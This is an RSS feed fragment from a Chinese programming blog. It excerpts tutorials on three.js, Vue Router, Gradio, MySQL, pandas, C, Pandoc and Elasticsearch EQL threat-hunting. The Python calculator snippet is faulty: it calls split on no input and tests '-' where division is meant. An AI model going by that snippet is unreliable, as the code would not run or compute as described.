      <description>材质的定义：&#xA;1，ThreeJs的定义：材料描述物体的外观。它们以（大部分）独立于渲染器的方式定义，因此如果您决定使用不同的渲染器，则不必重写材质。&#xA;2，OpenGL的定义：材质是环境色、 漫反射色、镜面反射色和发射色以及光泽度的组合。&#xA;three.js中的材质及性能：&#xA;模拟现实世界中的物体：MeshBasicMaterial➡ MeshLambertMaterial➡ MeshPhongMaterial&#xA;更高级的计算实现物理材质：MeshStandardMaterial➡ MeshPhysicalMaterial&#xA;各种标准材料从最快到最慢 MeshBasicMaterial➡ MeshLambertMaterial➡ MeshPhongMaterial➡ MeshStandardMaterial➡ MeshPhysicalMaterial&#xA;MeshBasicMaterial&#xA;这是一个基本的材料，你可以用来给你的几何图形一个简单的颜色或显示你的线框几何形状。（平面）&#xA;//新建材质 const material = new THREE.MeshBasicMaterial({ color: 0xFF0000, // 设置颜色 }); MeshLambertmaterial&#xA;这是一种考虑到照明并使用的材料创建无光泽的无光泽物体（哑光材质）&#xA;//新建材质 const material = new THREE.MeshLambertmaterial({ color: 0xFF0000, // 设置颜色 }); MeshPhongmaterial&#xA;这是一种还考虑到照明的材料可用于创建闪亮的对象。（漆面）&#xA;//新建材质 const material = new THREE.MeshPhongmaterial({ color: 0xFF0000, // 设置颜色 }); 更复杂的材料需要更多的 GPU 能力来绘制。在较慢的 GPU（例如手机）上，您可能希望通过使用一种不太复杂的材质来降低绘制场景所需的 GPU 功率。同样，如果您不需要额外的功能，请使用最简单的材料。如果您不需要照明和镜面高光，请使用.MeshBasicMaterial，MeshLambertMaterial，MeshBasicMaterial&#xA;--------------------------------------------------------升级------------------------------------------------&#xA;材质的组成：网格Mesh = Geometry 几何 + Material 材质。</description>
    </item>
    <item>
      <title>vue路由·配置</title>
      <link>https://bchobby.github.io/posts/d4749c6cd372e7a6435e3ca408a3a85d/</link>
      <pubDate>Thu, 04 May 2023 12:35:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4749c6cd372e7a6435e3ca408a3a85d/</guid>
      <description>第一种方法· 在Vue中使用路由一般需要引入Vue Router库，可以通过Vue CLI脚手架来快速生成webpack打包的Vue项目。&#xA;在Vue项目中使用路由，通常需要先定义路由规则，再在组件中引入路由来进行跳转等操作。以下是一个简单的Vue Router的用法示例：&#xA;首先，你需要在项目中通过npm安装Vue Router：&#xA;npm install vue-router 然后在main.js中引入Vue Router并创建一个VueRouter实例，代码类似这样：&#xA;import Vue from &#39;vue&#39; import VueRouter from &#39;vue-router&#39; import App from &#39;./App.vue&#39; import Home from &#39;./views/Home.vue&#39; import About from &#39;./views/About.vue&#39; Vue.use(VueRouter) const router = new VueRouter({ routes: [ { path: &#39;/&#39;, component: Home }, { path: &#39;/about&#39;, component: About } ] }) new Vue({ router, render: h =&amp;gt; h(App) }).$mount(&#39;#app&#39;) 在上述代码中，我们首先通过import引入了Vue、Vue Router和两个组件App.vue、Home.vue、About.vue。然后通过Vue.use()语句来安装Vue Router插件，接着我们用VueRouter实例来定义路由规则（路由的配置项），有两个路由/和/about，它们分别对应了两个组件：Home和About，最后通过new Vue()语句创建了Vue实例，并将VueRouter实例挂载在Vue实例上的router属性上。&#xA;接下来，我们就需要在App.vue组件中使用路由，代码类似这样：&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;My App&amp;lt;/h1&amp;gt; &amp;lt;router-view&amp;gt;&amp;lt;/router-view&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#39;app&#39; } &amp;lt;/script&amp;gt; 在上述代码中，我们通过&amp;lt;router-view&amp;gt;标签来渲染当前路由对应的组件。此外，你还可以通过&amp;lt;router-link&amp;gt;标签来添加路由链接，如：</description>
    </item>
    <item>
      <title>Gradio学习笔记--Gradio基本用法和简单案例</title>
      <link>https://bchobby.github.io/posts/576f8d83b9fed31f1d6ab0a8bfdcfc7e/</link>
      <pubDate>Thu, 04 May 2023 09:57:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/576f8d83b9fed31f1d6ab0a8bfdcfc7e/</guid>
      <description>​​​​​​​&#xA;目录&#xA;1--配置Gradio&#xA;2--Hello World案例&#xA;2-1--基本使用&#xA;2-2--进阶使用&#xA;3--图像案例&#xA;3--常用类 Interface 和 Blocks&#xA;1--配置Gradio 使用 pip 安装 Gradio：&#xA;pip install gradio 2--Hello World案例 2-1--基本使用 import gradio as gr def greet(name): return &#34;Hello &#34; + name + &#34;!&#34; demo = gr.Interface(fn=greet, inputs=&#34;text&#34;, outputs=&#34;text&#34;) demo.launch(share = True) 类 gr.Interface()可以包含任何 Python 函数，其通过以下三个必需的参数进行初始化：&#xA;① fn：封装好的 Python 函数，即上例中的 greet() 函数；&#xA;② inputs：用于输入的组件，可以为 “text”、“image” 或 “audio”，上例中为 “text”；&#xA;③ outputs：用于输出的组件，可以为 “text”、“image” 或 “audio”，上例中为 “text”；&#xA;通过 launch() 运行定义的类对象，运行结果包括两个 url，第一个 local url 可以在本地打开和运行；第二个 public url 需要通过设置 share = True 才可生成，可用于分享在其它机器上打开和运行；</description>
    </item>
    <item>
      <title>数据库从入门到精通01</title>
      <link>https://bchobby.github.io/posts/432c22b06cb356350a3f1138fd512601/</link>
      <pubDate>Wed, 03 May 2023 21:39:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/432c22b06cb356350a3f1138fd512601/</guid>
      <description>文章目录 数据库应用概念什么是数据库关系型和非关系型关系型数据库 Mysql数据库MySQL数据存放在哪里？MySQL服务端MySQL客户端1：DOS窗口MySQL客户端2：可视化工具 数据库的结构数据库结构 SQL语句定义分类 数据库常用操作建库删库查看所有数据库 表的常用操作表设计创建表修改表删除表查看所有表查看表结构/设计表 表记录的常用操作插入记录查询记录修改记录删除记录排序记录总数 数据类型命名规则字符数字日期图片 准备数据部门表 dept员工表 emp 字段约束主键约束非空约束唯一约束 数据库应用 dy同名: cgblpx&#xA;概念 什么是数据库 简而言之，就是存储数据，管理数据的仓库。&#xA;常见的数据库分为：&#xA;关系型数据库， Oracle、MySQL、SQLServer、Access非关系型数据库， MongoDB、Redis、Solr、ElasticSearch、Hive、HBase&#xA;关系型和非关系型 早期发展的数据库建立在数据的紧密关系基础之上（如：父子关系、师生关系），我们称其为关系型数据库，也称为传统数据库；现今数据库建立在数据的松散关系基础之上（如：中国人和美国人、中国人和印度人、视频、音频），我们称其为非关系型数据库nosql（not only sql）。业界总在争论nosql能否干掉传统数据库，很多初学者也有这个困惑。以我来看，两者没有矛盾，它们各有特点，根据业务情况互补才是真谛。但总的来说原来关系型数据库一统天下的格局早被打破，领土不断被蚕食，规模一再的缩小，虽然无法全面被替代，但却早已风光不在，沦落到一偶之地，Oracle的衰落就是最好的证明，早期只要是全球大企业无一例外都是部署Oracle，但现在都在去Oracle化，阿里就已经全面排斥Oracle。&#xA;既然干不掉，很多传统项目的还是围绕关系型数据库的居多，所以我们先来学习关系型数据库，目前最流行的关系型数据库是MySQL。&#xA;关系型数据库 关系型数据库有特定的组织方式，其以行和列的形式存储数据，以便于用户理解。关系型数据库这一系列的行和列被称为表，一组表组成了数据库。用户通过查询来检索数据库中的数据，而查询是一个用于限定数据库中某些区域的执行代码。关系模型可以简单理解为二维表格模型，而一个关系型数据库就是由二维表及其之间的关系组成的一个数据集合。&#xA;Mysql数据库 mysql服务端，它来处理具体数据维护，保存磁盘mysql客户端，CRUD新增，修改，删除，查询 MySQL数据存放在哪里？ 在MySQL的配置文件my.ini中会进行默认配置&#xA;MySQL服务端 mysql-5.5.27-winx64.msi&#xA;Mysql数据库默认的编码是latin1等价于iso-8859-1，修改为utf-8&#xA;注意：配置完，mysql开始执行，最后一步出错有时仍可以使用，使用SQLyog工具测试，如不行，再执行安装程序，选择remove，删除，然后重新安装。同时注意必须是管理员权限。&#xA;MySQL客户端1：DOS窗口 mysql -uroot -proot&#xA;语法：mysql.exe执行文件&#xA;代表参数&#xA;-u 用户名，紧接着写的&#xA;-p 密码，紧接着写的&#xA;MySQL客户端2：可视化工具 数据库的结构 数据库结构 SQL语句 定义 结构化查询语言(Structured Query Language)简称SQL(发音：/ˈes kjuː ˈel/ &#34;S-Q-L&#34;)，是一种特殊目的的编程语言，是一种数据库查询和程序设计语言，用于存取数据以及查询、更新和管理关系数据库系统；同时也是数据库脚本文件的扩展名。&#xA;SQL 是1986年10 月由美国国家标准局（ANSI）通过的数据库语言美国标准，接着，国际标准化组织（ISO）颁布了SQL正式国际标准。&#xA;分类 DML（Data Manipulation Language）数据操纵语言 如：insert，delete，update，select（插入、删除、修改、检索）简称CRUD操新增Create、查询Retrieve、修改Update、删除Delete&#xA;DDL（Data Definition Language）数据库定义语言 如：create table之类</description>
    </item>
    <item>
      <title>python-pandas库</title>
      <link>https://bchobby.github.io/posts/27de799b11ae63e54161df22b70670a6/</link>
      <pubDate>Wed, 03 May 2023 17:45:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27de799b11ae63e54161df22b70670a6/</guid>
      <description>目录 目录&#xA;目录&#xA;1.pandas库简介（https://www.gairuo.com/p/pandas-overview）&#xA;2.pandas库read_csv方法（https://zhuanlan.zhihu.com/p/340441922?utm_medium=social&amp;amp;utm_oi=27819925045248）&#xA;1.pandas库简介（https://www.gairuo.com/p/pandas-overview） 用途：&#xA;Pandas 可以用来进来各种表格数据处理，实现复杂的处理逻辑，这些往往是 Excel 等工具无法处理的，还可以自动化、批量化，对于相同的大量的数据处理我们不需要重复去工作。&#xA;适用的数据：&#xA;Pandas 适合处理一个规正的二维数据（如图），即有 N 行 N 列，类似于 SQL 执行后产出的，或者无合并单元格Excel 表格这样的数据。它可以把多个文件的数据合并在一起，如果结构不一样，也可以经过处理进行合并。&#xA;基本功能：&#xA;从 Excel、CSV、网页、SQL、剪贴板等读取数据合并多个文件或者 sheet 数据，拆分数据为独立文件数据清洗，如去重、缺失值、填充默认值、格式补全、极端值处理等建立高效的索引支持大体量数据按一定业务逻辑插入计算后的列、删除列灵活方便的数据查询、筛选分组聚合数据，可独立指定分组后的各字段计算方式数据的转置，如行转列列转行变更处理连接数据库，直接 SQL 查询数据并进行处理对时序数据进行分组采样，如按月、按季、按工作小时，也可以自定义周期，如工作日窗口计划，移动窗口统计、日期移动等灵活的可视化图表输出，支持所有的统计图形融合在表格的样式风格，提高数据识别效率 2.pandas库read_csv方法（https://zhuanlan.zhihu.com/p/340441922?utm_medium=social&amp;amp;utm_oi=27819925045248） pandas.read_csv方法函数用来读取CSV格式数据文件，默认返回DataFrame格式的数据DataFrame格式： 是Pandas库中的一种数据结构，类似excel或者sql中的表 参数解析： 1. filepath_or_buffer：数据输入的路径：可以是文件路径、可以是URL，也可以是实现read方法的任意对象。这个参数，就是我们输入的第一个参数&#xA;import pandas as pd pd.read_csv(&#34;girl.csv&#34;) # 还可以是一个URL，如果访问该URL会返回一个文件的话，那么pandas的read_csv函数会自动将&#xA;该文件进行读取。比如：我们用fastapi写一个服务，将刚才的文件返回。&#xA;pd.read_csv(&#34;http://localhost/girl.csv&#34;) # 里面还可以是一个 _io.TextIOWrapper，比如：&#xA;f = open(&#34;girl.csv&#34;, encoding=&#34;utf-8&#34;) pd.read_csv(f) 2. 索引列 index_col： 我们在读取文件之后所得到的DataFrame的索引默认是0、1、2……，我们可以通过set_index设定索引，但是也可以在读取的时候就指定某列为索引&#xA;pd.read_csv(&#39;girl.csv&#39;, delim_whitespace=True, index_col=&#34;name&#34;) # int, str, sequence of int / str, or False, default None # 默认为 `None`, 自动识别索引 pd.</description>
    </item>
    <item>
      <title>Solidworks PDM二次开发---文件夹相关操作</title>
      <link>https://bchobby.github.io/posts/c7bdd166c205cb20cde20dce6c604443/</link>
      <pubDate>Wed, 03 May 2023 17:25:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7bdd166c205cb20cde20dce6c604443/</guid>
      <description>前言 好久没有更新Solidworks PDM的操作了，今天我们来学习一下文件夹的几个常用操作。 新建文件夹 可以参考api中的帮助 Add Folder Example (C#) —这里面有相关的卡设置&#xA;//new 一个库对象 var vault = new EdmVault5(); //登陆到库中 vault.LoginAuto(&#34;PDM2020Default&#34;, this.Handle.ToInt32()); var vault2 = (IEdmVault7)vault; //本地根目录 var rootPath = vault2.RootFolderPath; var rootFolder = vault2.RootFolder; //新建子文件夹 //这里路径可以多个子层级 如A\B\C var newFolder = rootFolder.CreateFolderPath($@&#34;\newTempFolder&#34;, this.Handle.ToInt32()); IEdmFolder5 parentFolder = default(IEdmFolder5); parentFolder = vault2.GetFolderFromPath(ListBox.Items[0].ToString()); dynamic folderName = &#34;Temp&#34;; IEdmUserMgr5 usrMgr = default(IEdmUserMgr5); usrMgr = (IEdmUserMgr5)parentFolder.Vault; EdmFolderData data = default(EdmFolderData); data = new EdmFolderData(); data.SetUserRights(usrMgr.GetUser(&#34;Engineer1&#34;).ID, (int)EdmRightFlags.EdmRight_Read | (int)EdmRightFlags.</description>
    </item>
    <item>
      <title>Blender启动场景的修改</title>
      <link>https://bchobby.github.io/posts/4391e5d20ad61f8dc043e7ef72b06cb0/</link>
      <pubDate>Wed, 03 May 2023 16:01:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4391e5d20ad61f8dc043e7ef72b06cb0/</guid>
      <description>Blender启动场景的修改 1 使用版本2 现象描述3 解决方法4 启动场景路径5 清理场景资源5.1 空场景大小5.2 清理图片资源5.2.1 断开数据块关联5.2.2 断开伪用户关联5.2.3 断开多用户关联5.2.4 清理数据块5.2.6 文件校验 5.3 使用自建资源库 6 数据块类型 1 使用版本 Blender 3.3&#xA;2 现象描述 每次打开大纲视图会出现其他模型节点，应该是无意改写了默认启动场景。&#xA;相机、灯光节点之外的节点，某模型每次打开场景都会出现；&#xA;场景不是空场景或者模板场景，每次进入需要删除多余模型。&#xA;3 解决方法 修改Blender对应场景文件 startup.blend&#xA;4 启动场景路径 C:\Users\本机用户名\AppData\Roaming\Blender Foundation\Blender\3.3\config\startup.blend&#xA;这里 3.3 是Blender的对应版本，3.x版本都有这个默认场景文件,打开修改即可。&#xA;5 清理场景资源 5.1 空场景大小 一般空场景大小在 1MB以内，如果超过50MB那是因为本地有关联或者未清理的数据块，比如：材质、贴图等资源。 通常数据块会保存到本地是有引用关系，这些资源需要先取消关联然后再去清理。&#xA;5.2 清理图片资源 5.2.1 断开数据块关联 Shift+左键点击 断开关联&#xA;5.2.2 断开伪用户关联 零用户数据块若想保存到.blend工程文件，需要标记为伪用户，伪哦用户文件取消关联需要取消伪用户即可。&#xA;只要点击盾牌按钮即可设置/取消伪用户&#xA;5.2.3 断开多用户关联 资源被多次使用则会被标记为多用户（显示共享次数），资源也可以被标记为独立数据处理（点击创建副本），会额外创建一个图片文件&#xA;Shift+左键点击 断开关联&#xA;5.2.4 清理数据块 取消关联后清理数据块 [递归]再保存，工程文件会变为正常大小，同时会有清理提示显示。&#xA;文件 – 清理 – 选择递归项清除</description>
    </item>
    <item>
      <title>C#反射学习</title>
      <link>https://bchobby.github.io/posts/008ea7b9a4b9823698287f84efe004d5/</link>
      <pubDate>Wed, 03 May 2023 15:53:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/008ea7b9a4b9823698287f84efe004d5/</guid>
      <description>定义：反射就是动态获取程序集中的元数据和类型并创建对象调用成员&#xA;要点：先获取指定类的Type对象，然后再通过Type类对象获取类的属性，方法，字段，事件，接口等&#xA;1、关键类：Type&#xA;Type类可以获取类中的所有信息包括方法、属性等。可以动态调用类的属性方法，Type是对类的描述，主要针对类&#xA;2、如何获取一个类的Type对象：&#xA;1）如果该类有实例化的对象，则通过对象.GetType方法获取&#xA;2）如过该类没有创建对象，则通过typeof(类名)获取 3、通过Type可以获取当前类型的父类、字段、属性 、方法、事件及所有成员等&#xA;通过Type类获取对象：&#xA;using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Person { public class PersonC { public string _age; public int _shengao; public string name { set; get; } public int age { get; set; } public string email { set; get; } public void SayHi() { Console.WriteLine(&#34;Hello&#34;); } public void test(int a, int b) { Console.WriteLine(a + b); } } } using System; using System.</description>
    </item>
    <item>
      <title>C语言基础-数组，排序，函数</title>
      <link>https://bchobby.github.io/posts/f7b22d37cd193204339fab1f2d4a323c/</link>
      <pubDate>Tue, 02 May 2023 20:58:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7b22d37cd193204339fab1f2d4a323c/</guid>
      <description>一、一维数组&#xA;1、一维数组定义&#xA;数据类型 变量名 = [元素个数]&#xA;int a[10];&#xA;//数组 int a[10]; int data; for(data = 0;data&amp;lt;10;data++) { a[data] = data * 10; } puts(&#34;数组初始化完成&#34;); for(data = 0;data&amp;lt;10;data++) { printf(&#34;%d &#34;,a[data]); } 2、数组的初始化赋值keyi&#xA;int a[10] = {0,1,2,3,4,5,6,7,8,9}; 可以只给前部分赋值，后面数据系统自动赋值为0&#xA;int a[10] = {1,2,3} 在对全部数据赋值时，中括号内的元素个数可以省略不写(如下代码，5即可不写)&#xA;int a[] = {1,2,3,4,5} 3、sizeof关键字（不是函数！！！）&#xA;计算数组内元素的个数，利用sizeof求出整个数组的内存空间大小和一个元素的内存空间大小，两数相除即可得出数组内元素的个数。&#xA;int size; size = sizeof(array)/sizeof(array[0]); 4、练习&#xA;//数组初始化练习 //赋值并逆序输出 int a[] = {0,1,2,3,4,5,6,7,8,9}; int i; for(i = 9;i&amp;gt;=0;i--) { printf(&#34;%d &#34;,a[i]); } 斐波那契数列</description>
    </item>
    <item>
      <title>c语言基础-条件语句</title>
      <link>https://bchobby.github.io/posts/f0d44523890c532591fa04544d3e4998/</link>
      <pubDate>Tue, 02 May 2023 20:57:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0d44523890c532591fa04544d3e4998/</guid>
      <description>一、流程控制&#xA;1、if语句&#xA;//输入两个数，输出结果为从小到大 int a; int b; int c; printf(&#34;请输入两个数：&#34;); scanf(&#34;%d %d&#34;,&amp;amp;a,&amp;amp;b); if(a&amp;gt;b) { c = a; a = b; b = c; } printf(&#34;%d %d&#34;,a,b); //输入三个数，按从小到大排序 int a; int b; int c; int d; printf(&#34;请输入三个数：&#34;); scanf(&#34;%d %d %d&#34;,&amp;amp;a,&amp;amp;b,&amp;amp;c); if(a&amp;gt;b) { d = a; a = b; b = d; } if(a&amp;gt;c) { d = a; a = c; c = d; } if(b&amp;gt;c) { d = b; b = c; c = d; } printf(&#34;</description>
    </item>
    <item>
      <title>如何解决keil界面模糊的问题</title>
      <link>https://bchobby.github.io/posts/294d19a33d32fae81fa63993c92adb92/</link>
      <pubDate>Tue, 02 May 2023 20:55:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/294d19a33d32fae81fa63993c92adb92/</guid>
      <description>1、Keil快捷图标点击右键，选择属性。&#xA;2、在属性的弹出菜单里，选到“兼容性”页面，在其下面找到并点击“更改高DPI设置”。&#xA;3、勾选“替代高DPI缩放行为”选项，如下图，然后确定，确定。&#xA;4、重新打开软件，发现变清晰了，此方法同样适用其他软件。</description>
    </item>
    <item>
      <title>python 制作简易计算器</title>
      <link>https://bchobby.github.io/posts/7f246a3bfe2e6d57102f3beaad33c0a6/</link>
      <pubDate>Tue, 02 May 2023 17:03:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f246a3bfe2e6d57102f3beaad33c0a6/</guid>
      <description> if __name__ == &#34;__main__&#34;: date1,date2,op=split(&#34; &#34;) date1=int(date1) date2=int(date2) if op==&#34;+&#34;: print(date1+date2) elif op==&#34;-&#34;: print(date1-date2) elif op==&#34;*&#34;: print(date1*date2) elif op==&#34;-&#34;: a=date1/date2 if date1%date2==0: print(a) else: print(&#39;{:.2f}&#39;.format(a)) </description>
    </item>
    <item>
      <title>Pandoc 从入门到精通，你也可以学会这一个文本转换利器</title>
      <link>https://bchobby.github.io/posts/a529680d0459453dd742a8fa5f5d4259/</link>
      <pubDate>Tue, 02 May 2023 15:20:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a529680d0459453dd742a8fa5f5d4259/</guid>
      <description>Pandoc 简介 如果你需要在不同的文件格式之间相互转换，多半听说或使用过文档转换的瑞士军刀——Pandoc。事实上，不仅人类知道 Pandoc，最近很火的人工智能 ChatGPT 也知道「将 Markdown 转换为 docx」，首选方案是使用 Pandoc。&#xA;​&#xA;如何「将 Markdown 转换为 docx」，ChatGPT 回答使用 Pandoc，并给出了转换命令&#xA;Pandoc 是一个基于 GPL 协议开源的免费命令行软件 ，由加州大学伯克利分校哲学系教授 John MacFarlane使用 Haskell语言开发，目前另一位核心开发者是来自德国的Albert Krewinkel 。截止 2022 年 12 月 10 日，Pandoc 的 GitHub 仓库拥有超过 27,000 个 Star，3,000 次 Fork。&#xA;根据 John MacFarlane 教授的介绍 ，Pandoc 这个名称是一个组合单词： Pan是希腊神话里的牧神，指的是一切掌管树林、田地和羊群的神，doc 则是 document 的缩写，意为文档。因此从字面意思来看，可以说 Pandoc 是一个「无所不能的文档转换利器」 (universal markup converter)，而它的确也拥有名副其实的功能。&#xA;作为一个始于 2006 年的个人项目，经过 16 年的发展，现在的 Pandoc 已经变得非常庞杂，拥有相当丰富的功能，可以实现 几十种 文件格式的转换，各种调整细节的选项也不计其数，除了基础的文档转换功能外，还能通过 Lua、Python 等脚本语言实现高度自定义的文档转换，甚至成为其他很多现代文档工具的依赖，例如R Markdown、Quarto​。正因如此，它的功能非常复杂，仅PDF 版使用手册 就超过了 150 页。一方面，这使得 Pandoc 上手门槛比较高，容易劝退新手，但另一方面，丰富的功能也让它具有极强的可玩性和无限的可能性，甚至可以不仅限用于文档格式转换，还能实现一些「意料之外」的功能。</description>
    </item>
    <item>
      <title>【ElasticSearch】EQL操作相关</title>
      <link>https://bchobby.github.io/posts/965bf4ba6825f3777104120a143d0820/</link>
      <pubDate>Tue, 02 May 2023 13:14:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/965bf4ba6825f3777104120a143d0820/</guid>
      <description>文章目录 EQL操作基础语法数据准备数据窗口搜索统计符合条件的事件事件序列 安全检测数据准备查看数据导入情况获取 regsvr32 事件的计数检查命令行参数检查恶意脚本加载检查攻击成功可能性 EQL操作 EQL 的全名是 Event Query Language (EQL)。事件查询语言（EQL）是一种用于基于事件的时间序列数据（例如日志，指标和跟踪）的查询语言。&#xA;EQL的优点&#xA;EQL 使你可以表达事件之间的关系&#xA;许多查询语言允许您匹配单个事件。EQL 使你可以匹配不同事件类别和时间跨度的一系列事件。&#xA;EQL 的学习曲线很低&#xA;EQL 语法看起来像其他常见查询语言，例如 SQL。 EQL 使你可以直观地编写和读取查询，从而可以进行快速，迭代的搜索。&#xA;EQL 设计用于安全用例&#xA;尽管你可以将其用于任何基于事件的数据，但我们创建了 EQL 来进行威胁搜寻。 EQL不仅支持危害指标（IOC）搜索，而且可以描述超出 IOC 范围的活动。&#xA;前置条件&#xA;要运行 EQL 搜索，搜索到的数据流或索引必须包含时间戳和事件类别字段。 默认情况下，EQL 使用 Elastic 通用模式（ECS）中的 @timestamp 和 event.category 字段。&#xA;@timestamp 表示时间戳event.category 表示事件分类。 基础语法 数据准备 # 创建索引 PUT /gmall # 批量增加数据 PUT _bulk {&#34;index&#34;:{&#34;_index&#34;:&#34;gmall&#34;}} {&#34;@timestamp&#34;:&#34;2022-06-01T12:00:00.00+08:00&#34;,&#34;event&#34;:{&#34;category&#34;:&#34;page&#34;},&#34;page&#34;:{&#34;session_id&#34;:&#34;42FC7E13-CB3E-5C05-0000-0010A0125101&#34;,&#34;last_page_id&#34;:&#34;&#34;,&#34;page_id&#34;:&#34;login&#34;,&#34;user_id&#34;:&#34;&#34;}} {&#34;index&#34;:{&#34;_index&#34;:&#34;gmall&#34;}} {&#34;@timestamp&#34;:&#34;2022-06-01T12:01:00.00+08:00&#34;,&#34;event&#34;:{&#34;category&#34;:&#34;page&#34;},&#34;page&#34;:{&#34;session_id&#34;:&#34;42FC7E13-CB3E-5C05-0000-0010A0125101&#34;,&#34;last_page_id&#34;:&#34;login&#34;,&#34;page_id&#34;:&#34;good_list&#34;,&#34;user_id&#34;:&#34;1&#34;}} {&#34;index&#34;:{&#34;_index&#34;:&#34;gmall&#34;}} {&#34;@timestamp&#34;:&#34;2022-06-01T12:05:00.00+08:00&#34;,&#34;event&#34;:{&#34;category&#34;:&#34;page&#34;},&#34;page&#34;:{&#34;session_id&#34;:&#34;42FC7E13-CB3E-5C05-0000-0010A0125101&#34;,&#34;last_page_id&#34;:&#34;good_list&#34;,&#34;page_id&#34;:&#34;good_detail&#34;,&#34;user_id&#34;:&#34;1&#34;}} {&#34;index&#34;:{&#34;_index&#34;:&#34;gmall&#34;}} {&#34;@timestamp&#34;:&#34;2022-06-01T12:07:00.00+08:00&#34;,&#34;event&#34;:{&#34;category&#34;:&#34;page&#34;},&#34;page&#34;:{&#34;session_id&#34;:&#34;42FC7E13-CB3E-5C05-0000-0010A0125101&#34;,&#34;last_page_id&#34;:&#34;good_detail&#34;,&#34;page_id&#34;:&#34;order&#34;,&#34;user_id&#34;:&#34;1&#34;}} {&#34;index&#34;:{&#34;_index&#34;:&#34;gmall&#34;}} {&#34;@timestamp&#34;:&#34;2022-06-01T12:08:00.00+08:00&#34;,&#34;event&#34;:{&#34;category&#34;:&#34;page&#34;},&#34;page&#34;:{&#34;session_id&#34;:&#34;42FC7E13-CB3E-5C05-0000-0010A0125101&#34;,&#34;last_page_id&#34;:&#34;order&#34;,&#34;page_id&#34;:&#34;payment&#34;,&#34;user_id&#34;:&#34;1&#34;}} {&#34;index&#34;:{&#34;_index&#34;:&#34;gmall&#34;}} {&#34;@timestamp&#34;:&#34;2022-06-01T12:08:00.00+08:00&#34;,&#34;event&#34;:{&#34;category&#34;:&#34;page&#34;},&#34;page&#34;:{&#34;session_id&#34;:&#34;42FC7E13-CB3E-5C05-0000-0010A0125102&#34;,&#34;last_page_id&#34;:&#34;&#34;,&#34;page_id&#34;:&#34;login&#34;,&#34;user_id&#34;:&#34;2&#34;}} {&#34;</description>
    </item>
    <item>
      <title>MySQL数据库中，在读已提交和可重复读这两个不同事务隔离级别下幻读的区别</title>
      <link>https://bchobby.github.io/posts/6df5bba9da7558f3b73a4ffe22673b16/</link>
      <pubDate>Tue, 02 May 2023 12:25:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6df5bba9da7558f3b73a4ffe22673b16/</guid>
      <description>目 录 1. 前 言1.1 并发事务存在的问题1.2 事务的隔离级别1.3 快照读和当前读 2. 不同事务隔离级别下幻读的区别2.1 读已提交下的幻读2.2 可重复读下的幻读2.2.1 情况一，无幻读2.2.2 情况二，有幻读2.2.3 情况三，有幻读 3. 小 结 1. 前 言 在正式开始之前，先简单回顾一下并发事务存在的问题以及事务的隔离级别等内容。&#xA;1.1 并发事务存在的问题 当两个或者两个以上事务同时开启去处理同一个表的数据时，可能会存在以下的问题：&#xA;丢失修改脏读不可重复读幻读 丢失修改&#xA;丢失修改是指当两个或多个事务更新同一行记录，产生更新丢失的现象，事务回滚覆盖和事务提交覆盖都会导致这种现象的产生。&#xA;脏读&#xA;一个事务能读取到另一个事务已经修改但还没有提交的数据。&#xA;不可重复读&#xA;在一个事务中多次执行同一条查询语句，读取到的数据内容前后不一致。&#xA;幻读&#xA;在一个事务中多次执行同一条查询语句，读取到的数据记录在数量上前后不一致，可能多了几条记录也可能少了几条记录。&#xA;1.2 事务的隔离级别 为了解决并发事务存在的问题，大佬们想到了一个手段，那就是对事务进行隔离，最好是做到各个事务各干各的，互不干涉，但理想很丰满，现实很骨感，哪可能一步到位呢。&#xA;为了应对不同的需要，解决不同的问题，于是决定将事务的隔离分成四个级别，分别是：&#xA;读未提交读已提交可重复读串行化 它们各自能解决的并发事务问题如下表所示：&#xA;隔离级别 \ 事务问题事务回滚覆盖脏读不可重复读事务提交覆盖幻读读未提交能解决不能解决不能解决不能解决不能解决读已提交能解决能解决不能解决不能解决不能解决可重复读能解决能解决能解决能解决不能完全解决，可能发生串行化能解决能解决能解决能解决能解决 1.3 快照读和当前读 快照读&#xA;快照读是基于 MVCC 和 undo log 来实现的，读取数据的历史版本，得到一个 ReadView (事务视图) ，不对数据加锁，适用于简单 select 语句。&#xA;这里提一句，所谓 MVCC 并发版本控制，就是靠 ReadView (事务视图) 来实现的，多个 readView 组成 undo log（回滚日志）。&#xA;当前读&#xA;当前读是基于行锁 + 间隙锁来实现的，读取数据的最新版本，并对数据进行加锁，适用于 insert，update，delete， select .</description>
    </item>
    <item>
      <title>json-server 实现简单接口mock</title>
      <link>https://bchobby.github.io/posts/0aa853b435dabc381e7e6ab1b1cb16ef/</link>
      <pubDate>Mon, 01 May 2023 21:11:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0aa853b435dabc381e7e6ab1b1cb16ef/</guid>
